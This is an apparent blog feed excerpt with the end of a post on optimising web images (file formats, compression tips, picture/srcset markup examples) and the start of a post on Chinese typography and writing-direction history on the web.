&lt;p&gt;Web design is its own domain, with its closest counterpart being print design. But one is dynamic and fluid (the web, just in case you lost me), while the other is static. We sometimes fall into the trap of treating the web like a static medium, trying to herd pixels into exact positions. Let&apos;s not do that. Let&apos;s embrace the nature of the web. To quote &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Translate. Don&apos;t Transfer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So yes, the inability to use unlimited hi-resolution images in your web design is a constraint, but that&apos;s not a bad thing. &lt;a href=&quot;https://www.psychologytoday.com/blog/beautiful-minds/201108/does-creativity-require-constraints&quot;&gt;Constraints fuel creativity&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Give your images a makeover&lt;/h2&gt;
&lt;p&gt;Let&apos;s talk about the art direction of the images themselves first. There are certain tricks we can employ to reduce image file sizes. Most images and photographs have a point of focus, where we want users’ eyes to be drawn to. For such images, keep that area sharp while blurring everything else. This works for a variety of styles of images, from headshots to product images.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Marketing image&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/coffee.jpg&quot;
      srcset=&quot;/images/posts/image-perf/coffee@2x.jpg 2x&quot;
      alt=&quot;Original&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Product shot&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/sneakers.jpg&quot;
      srcset=&quot;/images/posts/image-perf/sneakers@2x.jpg 2x&quot;
      alt=&quot;Save for Web&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;You can apply a Gaussian blur to the non-critical areas of the image. Blurring the background can also simulate a shallow depth of field. If you’re using Photoshop, then using Lab Colour mode allows you to apply a stronger blur without compromising foreground quality. Convert the image to Lab Colour and apply the blur to the a and b channels, while maintaining definition in the Lightness channel.&lt;/p&gt;
&lt;p&gt;Grey-scale images have smaller file sizes than colour images, hence if art direction permits, using grey-scale images saves quite a bit. Monochromatic designs have 1 single base colour, with splashes of a complimentary accent colour. Such designs avoid the problem of colour clashes, and with less distraction, can provide more focus on the content. Of course, this isn’t suitable for every website, but can be a design choice to consider, if appropriate.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;
      &lt;a href=&quot;http://blank.com.pt/&quot;&gt;Blank Art Direction&lt;/a&gt;
    &lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/blank.png&quot;
      srcset=&quot;/images/posts/image-perf/blank@2x.png 2x&quot;
      alt=&quot;Blank&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;
      &lt;a href=&quot;http://mulberrystreetcreative.com/&quot;&gt;Mulberry Street Creative&lt;/a&gt;
    &lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/msc.jpg&quot;
      srcset=&quot;/images/posts/image-perf/msc@2x.jpg 2x&quot;
      alt=&quot;Mulberry Street Creative&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Ideally, you’d want to export your images using your image editor’s “save for Web” (or similar) functionality, as demonstrated earlier, and then run them through a specialized image optimiser. Plenty of such options exist, either online or as installed applications, like &lt;a href=&quot;http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer&quot;&gt;FileOptimizer&lt;/a&gt; for Windows or &lt;a href=&quot;https://imageoptim.com/&quot;&gt;ImageOptim&lt;/a&gt; for Mac and Linux.&lt;/p&gt;
&lt;p&gt;I want to once again emphasise that I&apos;m not asking designers to eschew images altogether. Graphics are a very important aspect of visual communication. Rather, we can start considering incorporating images in a way that does not compromise performance. This would require some general knowledge about how digital images work.&lt;/p&gt;
&lt;h2&gt;Let&apos;s learn more about digital images&lt;/h2&gt;
&lt;p&gt;Digital images are fascinating, if you think about it. How is it possible that we can capture a snapshot of something in real life and recreate it on a screen? Or create any visuals at all using a computer? It&apos;s all data expressed as light and electrical signals.&lt;/p&gt;
&lt;p&gt;Ah, technology.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://web.stanford.edu/class/cs101/index.html&quot;&gt;Stanford&apos;s CS101&lt;/a&gt; covers the basics of digital images rather well, among lots of other computing-related fundamentals.&lt;/p&gt;
&lt;p&gt;Image data can be stored in a variety of formats, they can be compressed, uncompressed or vector. The 2 major families of graphic formats are raster, which uses lots of individual coloured pixels to form complete images, and vector, which uses mathematical formulae to create polygons as images on the screen. Even though there are hundreds of proprietary image formats out there, we&apos;ve settled on a handful of general purpose formats.&lt;/p&gt;
&lt;p&gt;I personally learnt a lot about images from &lt;a href=&quot;https://medium.com/@duhroach&quot;&gt;Colt McAnlis&lt;/a&gt;&apos;s articles and &lt;a href=&quot;https://web.archive.org/web/20180305061326/http://www.toolsday.io/episodes/images.html&quot;&gt;episode #36 of the Toolsday podcast&lt;/a&gt;. You should check them out.&lt;/p&gt;
&lt;h3&gt;JPEG (Joint Photographic Expert Group)&lt;/h3&gt;
&lt;p&gt;JPEG is a lossy file format that was developed for compressing photographic images by removing information from the file that is less discernible to the human eye. JPEGs are ideal for photographic images that don’t require transparency rather than line drawings or images that require precision and sharpness.&lt;/p&gt;
&lt;p&gt;With JPEG, you shouldn’t save the same image file again and again because doing so degrades the quality of the image substantially. Instead, it’s better to export the original working file as a JPEG image only as a last step before publishing. When saving JPEGs with your image editor, there is the option of adjusting the quality of the resultant image.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Original&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/orig.jpg&quot;
      srcset=&quot;/images/posts/image-perf/orig@2x.jpg 2x&quot;
      alt=&quot;Original&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Save for Web&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/image-perf/opt.jpg&quot;
      srcset=&quot;/images/posts/image-perf/opt@2x.jpg 2x&quot;
      alt=&quot;Save for Web&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The original image on the left clocked in at 79kb, but after using the &lt;em&gt;Save for Web&lt;/em&gt; option in Adobe Photoshop at 60 percent quality, the file size was halved, but the difference is barely discernible (I&apos;m sorry you had to download an unoptimised image for this).&lt;/p&gt;
&lt;p&gt;There are more objective methods than “eye-balling it” to determine the appropriate quality level, however. For example, you can use open source tool &lt;a href=&quot;https://github.com/google/butteraugli&quot;&gt;Butteraugli&lt;/a&gt; as a quality metric for lossy image compression.&lt;/p&gt;
&lt;p&gt;In general, the human eye cannot really discern the difference between 75% and 100% quality, but the file size savings are significant. JPEG images are divided into 8x8 pixel blocks upon saving, and if the quality is set too low, this blockiness becomes apparent. Each of these 8x8 blocks are optimised independently. Aligning the edges of your image to an 8-pixel grid helps the optimiser keep the image sharp. Especially effective if your image is rectangular.&lt;/p&gt;
&lt;h3&gt;PNG (Portable Network Graphics)&lt;/h3&gt;
&lt;p&gt;Portable Network Graphics (PNG) is a lossless file format good if you need a fine level of detail in your images. PNGs also handle transparency much better than Graphic Interchange Format (GIF) files.&lt;/p&gt;
&lt;p&gt;PNG8 is the indexed colour-depth version, which produces smaller file sizes but can only store 256 colours. PNG24 has a direct colour depth and can store the entire gamut of colours, but the files will end up significantly larger than JPEGs or GIFs. Picking the appropriate format for your image can save you quite a bit, i.e. it’s safe to use the PNG8 format if your image doesn’t have a lot of colours.&lt;/p&gt;
&lt;p&gt;Reducing the number of unique colours in your PNG can improve scanline filtering and achieve better image compression. One way to do this is with the Posterize function in Photoshop, which can be found in the Layers palette. Pick the smallest amount of levels you can get away with.&lt;/p&gt;
&lt;p&gt;The main reason for using PNGs is transparency. Often, designers will crop the outline of a particular object/person from a source image for use on another background. The downside is that such image files would be considerably larger than if they were saved in another format, like JPG.&lt;/p&gt;
&lt;h3&gt;SVG (Scalable Vector Graphics)&lt;/h3&gt;
&lt;p&gt;For icons and simple shapes, Scalable Vector Graphics (SVG) is your best bet. SVGs are an XML-based vector image format, which scale perfectly without increasing file size. An optimized SVG is often a fraction of the size of its rasterised counterpart.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/svg/svgo&quot;&gt;SVGO&lt;/a&gt; is an excellent Node.js–based tool that can help strip redundant information from SVGs without affecting rendering. You can install and use it directly from the command line or as part of a project build step. There is also &lt;a href=&quot;https://jakearchibald.github.io/svgomg/&quot;&gt;an online web app, SVGOMG&lt;/a&gt; which serves as a GUI version of the tool.&lt;/p&gt;
&lt;p&gt;Being XML-based, SVGs also benefit from &lt;a href=&quot;https://css-tricks.com/snippets/htaccess/active-gzip-compression/&quot;&gt;gzip compression&lt;/a&gt; on the server-side to reduce file transfer size. Make sure to configure your server to enable gzip compression.&lt;/p&gt;
&lt;h3&gt;GIF (Graphic Interchange Format)&lt;/h3&gt;
&lt;p&gt;GIF is also a lossless file format and has been around for a long time, so it has excellent support. When PNGs were first introduced, GIFs were considered a safer choice, but today, the only viable use case for GIFs is animation. If you can get away with it, muted videos can actually be smaller in size with better quality.&lt;/p&gt;
&lt;p&gt;If you have to use an animated GIF, there are a couple of things you can do to reduce file sizes. The simplest thing to do is literally make the image smaller in size. There’s a reason why many GIFs you see online are around 400px wide, and still come in at around 1 to 2mb.&lt;/p&gt;
&lt;p&gt;Reducing the number of frames is also a good option. You can delete every second or third frame from the Timeline Panel, then increase the duration of the remaining frames to compensate for the removed frames, otherwise your animation will run faster.&lt;/p&gt;
&lt;p&gt;Reducing the number of colours to 64 or less can save you space as well, although you will have to use some discretion to whether you can accept the decrease in quality. Most GIFs you see online tend to be low quality for this reason. Dithering can help with the quality, but keep in mind that more dithering increases the image size. The Diffusion algorithm in Photoshop lets you adjust the amount of dithering on your image.&lt;/p&gt;
&lt;p&gt;Some other options available in Photoshop include Web Snap, which snaps some of the colours in your GIF to web-safe colours, sort of an anti-dithering actually. Lossy compression will remove some visual information to save on file size, and deselecting Transparency will fill semi-transparent and transparent pixels with a matte colour instead. Checking the Interlaced option loads the image in several passes, like progressive JPGs.&lt;/p&gt;
&lt;h2&gt;New image file formats&lt;/h2&gt;
&lt;p&gt;There are also a number of new formats being developed that offer higher quality at lower file sizes. As of now, these formats are far from being universally supported. Still, it&apos;s good to know about their existence and follow their development as we go along.&lt;/p&gt;
&lt;h3&gt;WebP&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://developers.google.com/speed/webp/&quot;&gt;WebP&lt;/a&gt; is an image format for the web developed by Google that provides both lossless and lossy compression. Both compression formats support transparency and generally result in file sizes that are 3/4 the size of a comparable PNG image. It is natively supported in Chrome and Opera.&lt;/p&gt;
&lt;h3&gt;FLIF (Free Lossless Image Format)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://flif.info/&quot;&gt;FLIF&lt;/a&gt; is a very recent lossless image format that supports progressive decoding. Based on &lt;a href=&quot;http://cloudinary.com/blog/flif_the_new_lossless_image_format_that_outperforms_png_webp_and_bpg&quot;&gt;benchmarking done by Cloudinary&lt;/a&gt;, it seems to outperform all other image formats available at the moment. Currently, FLIF is not natively supported in any browser. To use it now, you will need to utilise the &lt;a href=&quot;https://github.com/uprootlabs/poly-flif&quot;&gt;Poly-FLIF polyfill&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;BPG (Better Portable Graphics)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://bellard.org/bpg/&quot;&gt;BPG&lt;/a&gt; is a new image format meant to replace the JPEG image format. It has a high compression ratio and unlike JPEG, supports transparency. To use BPG, you will need to integrate a JavaScript BPG decoder (56kb gzipped) in your site for browsers to recognise the image.&lt;/p&gt;
&lt;h3&gt;JPEG-XR (JPEG extended range)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://jpeg.org/jpegxr/&quot;&gt;JPEG-XR&lt;/a&gt; was originally developed by Microsoft as HD Photo, and supports both lossless and lossy compression. It also supports transparency, and has higher compression ratios than JPEG at similar image qualities. JPEG-XR has multiple possible file extensions: &lt;code&gt;.jxr&lt;/code&gt;, &lt;code&gt;.hdp&lt;/code&gt; and &lt;code&gt;.wdp&lt;/code&gt;. Unfortunately, only Internet Explorer and Edge supports this format.&lt;/p&gt;
&lt;h2&gt;Responsive images on the web&lt;/h2&gt;
&lt;p&gt;The concept of responsive design revolves around having a single website that adapts to the screen-size its being displayed on. The problem with such an approach is that the same content is being served regardless of device, same text, same stylesheets, same scripts, and most critcally, same images.&lt;/p&gt;
&lt;p&gt;Remember that images make up 64% of page weight? If only there was a way to serve lower resolution (thus smaller) images on devices with small screens to save space. Here’s where the &lt;code&gt;picture&lt;/code&gt; element and the &lt;code&gt;srcset&lt;/code&gt; attribute come into play.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;picture&lt;/code&gt; element and &lt;code&gt;srcset&lt;/code&gt; and &lt;code&gt;sizes&lt;/code&gt; attributes have been drafted into the HTML 5.1 specification; as of October 2016, all major browsers (except Internet Explorer and Opera Mini) fully support both &lt;code&gt;picture&lt;/code&gt; and &lt;code&gt;srcset&lt;/code&gt;. The specification was developed from practical use cases for responsive images and tackles the following issues:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Device pixel ratio–based selection&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Viewport-based selection&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Art direction–based selection&lt;/li&gt;
  &lt;li&gt;Image format–based selection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Just to clarify, &lt;code&gt;picture&lt;/code&gt; is an HTML element, while &lt;code&gt;srcset&lt;/code&gt; and &lt;code&gt;sizes&lt;/code&gt; are attributes for the &lt;code&gt;img&lt;/code&gt; element. Depending on your use case, you may not need the &lt;code&gt;picture&lt;/code&gt; element to use responsive images.&lt;/p&gt;
&lt;p&gt;Before this specification existed, browsers had no way to know the image size relative to the viewport or the source file’s dimensions, making it impossible for the browser to intelligently serve the appropriately sized image. With &lt;code&gt;srcset&lt;/code&gt;, you can declare a set of image sources complete with pixel density or width information to the browser using x and w descriptors, respectively. The &lt;code&gt;sizes&lt;/code&gt; attribute lets you tell the browser what size the image will be at a particular viewport width.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;picture&lt;/code&gt; element is a wrapper for the &lt;code&gt;img&lt;/code&gt; element and its &lt;code&gt;src&lt;/code&gt; attribute. The &lt;code&gt;source&lt;/code&gt; element, in this case, will be familiar to you if you’ve used the &lt;code&gt;video&lt;/code&gt; or &lt;code&gt;audio&lt;/code&gt; elements before. You can use multiple &lt;code&gt;source&lt;/code&gt; elements to specify multiple media resources for use.&lt;/p&gt;
&lt;p&gt;If you want to serve the exact same image but in different sizes or pixel densities, then you should use an &lt;code&gt;img&lt;/code&gt; element with the &lt;code&gt;srcset&lt;/code&gt; attribute defined. If you want to serve a specific image at a specific breakpoint or serve images in one of the newer formats, then you should use the &lt;code&gt;picture&lt;/code&gt; element, instead.&lt;/p&gt;
&lt;p&gt;Note that for all the use cases, whether you’re using &lt;code&gt;picture&lt;/code&gt; or &lt;code&gt;srcset&lt;/code&gt; and &lt;code&gt;sizes&lt;/code&gt;, the image &lt;code&gt;src&lt;/code&gt; attribute MUST be present. Apply alternative text to the &lt;code&gt;img&lt;/code&gt; element, not the &lt;code&gt;picture&lt;/code&gt; tag. If an older browser encounters such code, it will just read off the image’s &lt;code&gt;src&lt;/code&gt; attribute like any other image, so your image won&apos;t be broken.&lt;/p&gt;
&lt;h3&gt;Code Examples&lt;/h3&gt;
&lt;p&gt;The markup for using &lt;code&gt;picture&lt;/code&gt; and &lt;code&gt;srcset&lt;/code&gt; probably takes some time to wrap your head around, so here are some examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Device pixel ratio–based selection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img srcset=&amp;quot;mark-383.jpg 1.5x, mark-510.jpg 2x&amp;quot; src=&amp;quot;mark-255.jpg&amp;quot; alt=&amp;quot;Outsider&apos;s mark&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Viewport-based selection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img
  srcset=&amp;quot;kaldwin-480.jpg 480w, kaldwin-640.jpg 640w, kaldwin-960.jpg 960w, kaldwin-1280.jpg 1280w&amp;quot;
  sizes=&amp;quot;(max-width: 400px) 100vw,
             (max-width: 960px) 75vw,
             640px&amp;quot;
  src=&amp;quot;kaldwin-640.jpg&amp;quot;
  alt=&amp;quot;Emily Kaldwin&amp;quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Art direction–based selection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;picture&amp;gt;
  &amp;lt;source media=&amp;quot;(min-width: 960px)&amp;quot; srcset=&amp;quot;karnaca-large.jpg&amp;quot; /&amp;gt;
  &amp;lt;source media=&amp;quot;(min-width: 575px)&amp;quot; srcset=&amp;quot;karnaca-medium.jpg&amp;quot; /&amp;gt;
  &amp;lt;img src=&amp;quot;karnaca-small.jpg&amp;quot; alt=&amp;quot;City of Karnaca&amp;quot; /&amp;gt;
&amp;lt;/picture&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Image format–based selection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;picture&amp;gt;
  &amp;lt;source type=&amp;quot;image/vnd.ms-photo&amp;quot; src=&amp;quot;far-reach.jxr&amp;quot; /&amp;gt;
  &amp;lt;source type=&amp;quot;image/jp2&amp;quot; src=&amp;quot;far-reach.jp2&amp;quot; /&amp;gt;
  &amp;lt;source type=&amp;quot;image/webp&amp;quot; src=&amp;quot;far-reach.webp&amp;quot; /&amp;gt;
  &amp;lt;img src=&amp;quot;far-reach.png&amp;quot; alt=&amp;quot;Emily&apos;s power: Far reach&amp;quot; /&amp;gt;
&amp;lt;/picture&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are many comprehensive articles on responsive images that delve into details from origin, to implementation, to the future. &lt;a href=&quot;https://twitter.com/grigs&quot;&gt;Jason Grigsby&lt;/a&gt;&apos;s &lt;a href=&quot;https://cloudfour.com/thinks/responsive-images-101-definitions/&quot;&gt;Responsive Images 101&lt;/a&gt; series is an excellent place to start. &lt;a href=&quot;https://ericportis.com/&quot;&gt;Eric Portis&lt;/a&gt; has also written many articles on the topic. Just google &amp;quot;Eric Portis responsive images&amp;quot;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Okay, that went on for longer than I expected. But that&apos;s because images is such a heavy topic (pun completely intended). On a more serious note, it really is vital that designers and developers are cognizant about page weight issues. Creating sites that are light-weight and load properly even with a slow connection is part of building a better web, and is something I aspire to do. Join me in this effort?&lt;/p&gt;
&lt;h2&gt;Further reading and resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://blogs.worldbank.org/opendata/where-are-cheapest-and-most-expensive-countries-own-mobile-phone&quot;&gt;Where are the cheapest and most expensive countries to own a mobile phone?&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://talks.jensimmons.com/SwuNnf/modern-layouts-getting-out-of-our-ruts&quot;&gt;Modern Layouts: Getting Out Of Our Ruts&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/@duhroach/how-png-works-f1174e3cc7b7#.ssxzmtqdz&quot;&gt;How PNG works&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/how-jpg-works-a4dbd2316f35/&quot;&gt;How JPG Works&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://ericportis.com/posts/2014/srcset-sizes/&quot;&gt;Srcset and sizes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/using-responsive-images-now&quot;&gt;Using Responsive Images (Now)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://responsiveimages.org/&quot;&gt;Responsive Images Community Group&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Chinese language on the web</title><link>https://chenhuijing.com/blog/chinese-web-typography/</link><guid isPermaLink="true">https://chenhuijing.com/blog/chinese-web-typography/</guid><description>If you hadn&apos;t realised by now, I am Chinese. I was born in Malaysia, then studied and now work in Singapore. Like many others with similar backgrounds, we…</description><pubDate>Mon, 07 Nov 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you hadn&apos;t realised by now, I am Chinese. I was born in Malaysia, then studied and now work in Singapore. Like many others with similar backgrounds, we speak both English and Chinese with native fluency, plus a smattering of other languages and dialects here and there.&lt;/p&gt;
&lt;p&gt;A couple of months back, I went down a rabbit hole while researching my article on CSS display and discovered the HTML ruby element. There was also an article by &lt;a href=&quot;https://ishadeed.com/&quot;&gt;Ahmad Shadeed&lt;/a&gt; on &lt;a href=&quot;https://ishadeed.com/article/css-writing-mode/&quot;&gt;CSS Writing Mode&lt;/a&gt; that was making its rounds on the interwebs. And this got me thinking about Chinese typography on the web.&lt;/p&gt;
&lt;p&gt;Again, this is one of those posts that grew from a cute little cub into a full fledged Giant Panda, sooo here&apos;s a content list. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Table of contents&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;a href=&quot;#some-background-and-history&quot;&gt;Some background and history&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#writing-systems&quot;&gt;Writing systems&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#a-little-chinese-history&quot;&gt;A little Chinese history&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#research-triggered-brain-dump&quot;&gt;Research-triggered brain dump&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#do-you-au&quot;&gt;Do you AU?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#punctuate-what&quot;&gt;Punctuate what?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#chinese-fonts-offline-and-online&quot;&gt;Chinese fonts, offline and online&lt;/a&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#laying-out-chinese-fonts&quot;&gt;Laying out Chinese fonts on the web&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#basic-terminology&quot;&gt;Basic terminology&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#writing-mode-property&quot;&gt;writing-mode property&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#text-orientation-property&quot;&gt;text-orientation property&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#text-combine-upright-property&quot;&gt;text-combine-upright property&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#lets-build-a-demo&quot;&gt;Let&apos;s build a demo&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#typographic-styles-for-chinese-text&quot;&gt;Typographic styles for Chinese text&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#mode-switcher-anyone&quot;&gt;Mode switcher? Anyone?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wrapping-up&quot;&gt;Wrapping up&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#further-reading&quot;&gt;Further reading&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#for-historical-context&quot;&gt;For historical context&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#on-specifications&quot;&gt;On specifications&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#on-design-and-typography&quot;&gt;On design and typography&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;some-background-and-history&quot;&gt;Some background and history &lt;small&gt;&lt;a href=&quot;#research-triggered-brain-dump&quot;&gt;(skip to next section)&lt;/a&gt;&lt;/small&gt;&lt;/h2&gt;
&lt;h3&gt;Writing systems&lt;/h3&gt;
&lt;p&gt;There are more than &lt;a href=&quot;http://www.linguisticsociety.org/content/how-many-languages-are-there-world&quot;&gt;6000 languages in the world today&lt;/a&gt; and hence many different writing systems. Not every writing system utilises a left-to-right, downward block flow direction that is commonly seen in Latin-based systems.&lt;/p&gt;
&lt;p&gt;For example, Arabic-based scripts and the Hebrew alphabet are written from right-to-left with a downward block flow direction, while Han-based scripts can be written from left-to-right with a downward block flow OR from top-to-bottom with a leftward block flow direction.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Writing directions of the world&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/zh-type/writing-directions.svg&quot; alt=&quot;&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The purpose of the internet is to connect people around the world, and to do that, the Web needs to cater for the various writing systems out there. The &lt;a href=&quot;https://www.w3.org/International/&quot;&gt;W3C Internationalization (i18n) Activity&lt;/a&gt; serves this purpose, to make it possible to use Web technologies with different languages, scripts and cultures.&lt;/p&gt;
&lt;h3&gt;A little Chinese history&lt;/h3&gt;
&lt;p&gt;To be fair, Chinese history is too vast a subject for a blog post. It warrants an encyclopaedic series of tomes. Instead, let&apos;s talk a bit about Chinese characters. Chinese is a logographic writing system, whereby each character itself holds meaning, whether alone or as part of a phrase. Until I researched this topic, I didn&apos;t realise that Chinese is the only logographic writing system left that is widely used in the modern world.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;甲骨文 (Oracle bone script)&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/zh-type/jgw-640.jpg&quot;
    srcset=&quot;/images/posts/zh-type/jgw-480.jpg 480w, /images/posts/zh-type/jgw-640.jpg 640w, /images/posts/zh-type/jgw-960.jpg 960w, /images/posts/zh-type/jgw-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;A &lt;a href=&quot;http://www.comdesignlab.com/typochina/chinese/archives/98&quot;&gt;common misconception about the origin of Chinese writing&lt;/a&gt; is that 甲骨文 (literally translates to Oracle bone script) was the earliest form of Chinese characters. These characters were carved onto animal bones or turtle shells, and mainly used for divination during the Shang dynasty.&lt;/p&gt;
&lt;p&gt;However, given its level of sophistication, Professor Zheng Huisheng (郑慧生老师) from Henan University posited Chinese writing had its roots in an earlier form, 陶文 (script etched on ancient pottery). Regardless, Chinese script underwent thousands of years of evolution over the dynasties before maturing into the form we know and use today.&lt;/p&gt;
&lt;p&gt;Besides the characters themselves, there&apos;s also the issue of how these characters were laid out into texts. Traditionally, Chinese characters were written from top-to-bottom, right-to-left. Nowadays, it is quite common to see Chinese texts being laid out in a typical Western horizontal layout, and read from left-to-right instead.&lt;/p&gt;
&lt;p&gt;The first known publication that utilised a horizontal layout was 《科学》, a science magazine which, in its inaugural issue on January 1915, attributed the choice of horizontal layout purely for the sake of convenience of printing formulae.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本雜誌印法，旁行上左，並用西文句讀點之，以便插寫算術及物理化學諸程式，非故好新奇，讀者諒之。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Although there wasn&apos;t a conclusive explanation (that I could find) on why Chinese script traditionally used the vertical right-to-left layout, the matter of fact is nowadays, most Chinese books use the horizontal layout. This paradigm shift was largely attributed to the 新文化运动 (New Culture Movement) during the mid 1910s and 1920s, when several prominent scholars led a revolt against traditional Chinese culture and Confucianism.&lt;/p&gt;
&lt;p&gt;Interesting fact, the founder of my alma mater, 陈嘉庚 (Tan Kah Kee), first proposed horizontal typesetting in June 1950 at the Second Session of the First Chinese People&apos;s Political Consultative Conference (CPPCC) National Committee. Following that, on 1 Jan 1955, 《光明日报》published its first left-to-right edition stating that the move to a horizontal layout is simply a step forward in development.&lt;/p&gt;
